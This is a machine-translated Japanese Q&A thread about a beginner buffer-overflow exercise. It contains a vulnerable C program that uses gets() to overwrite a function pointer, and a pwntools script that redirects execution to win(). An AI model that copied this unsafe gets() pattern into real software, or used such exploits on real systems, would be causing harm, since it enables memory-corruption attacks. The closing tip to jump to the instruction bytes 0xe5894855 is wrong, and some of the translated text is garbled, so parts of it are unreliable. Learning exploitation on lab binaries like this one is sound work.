私はバッファオーバーフローの初心者ですが、数日からこの問題を研究していて、この問題を発見しました(コード: here )
基本的な概念を理解していると思います。64バイトを超える文字を書き込み、gets関数はスタック上の次のアドレスをオーバーフローします。これは、charsの長さを判別できず、espが実行する任意の場所で次のアドレスを上書きするためです。そうだね?
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
コードに従って、ターミナルでprintfコマンドを使用します
printf "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqbqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xca\x06" | ./ex3
私は想定されているsegfaultを取得し、プログラムのprintfは適切なアドレスで上書きしていることを示しています
(gdb) x win
0x6ca <win>: 0xe5894855
ターミナル:
calling function pointer, jumping to 0x000006ca
Segmentation fault
基本的な概念を理解していると思います。64バイトを超える文字を書き込むと、gets関数はスタック上の次のアドレスをオーバーフローします。これは、charの長さを判別できず、espが実行する任意の場所で次のアドレスを上書きするためです。そうだね?
ではない正確に! ESPはシェルコードを実行しません(ESPは単なる32ビットレジスタ))が、それを指しているため、EIPを制御してmakeたとえば、_jmp esp
_命令のアドレスをポイントすると、スタック上のシェルコードの場所に簡単にアクセスして実行できます。この場合、EIPで_jmp esp
_命令をポイントする必要はありませんが、 win
関数。
したがって、演習の目的は、プログラムの制御フローを変更して、win()
関数がメインで呼び出されなくても実行されるようにすることであると想定します。最初に行うことは、EIPレジスタを制御するために必要な正確なオフセットを決定することです。そのためには gdb のようなデバッガが必要です。 gdb-peda もお勧めします。これは、パターンの作成などの多くの便利なものを自動化します...
次に、それを使用してバッファをオーバーフローさせ、制御フローをwin()
にリダイレクトできます。 aslrが無効になっていると仮定すると、gdbを使用してwin
のアドレスを簡単に見つけることができます。次に、次のようにエクスプロイト(I pythonを使用)を構築できます。
_#!/usr/bin/env python
from pwn import *
offset = 64 # offset to control EIP
ret_address = p32(0x40057d) # address of win() packed for x86 archs
payload = "A" * offset + ret_address # final payload
p = process('./test') # execute the test binary
p.sendline(payload) # send our payload
print p.recv() # get the output
_
上記のコードスニペットでは、バイナリとのやり取りを簡単にするために pwntools を使用しましたが、外部モジュールを使用せずに同じことを行うことができます。
注:
代わりに0xe5894855
にジャンプしてみてください。 0x06ca
は単なるポインタである可能性があります。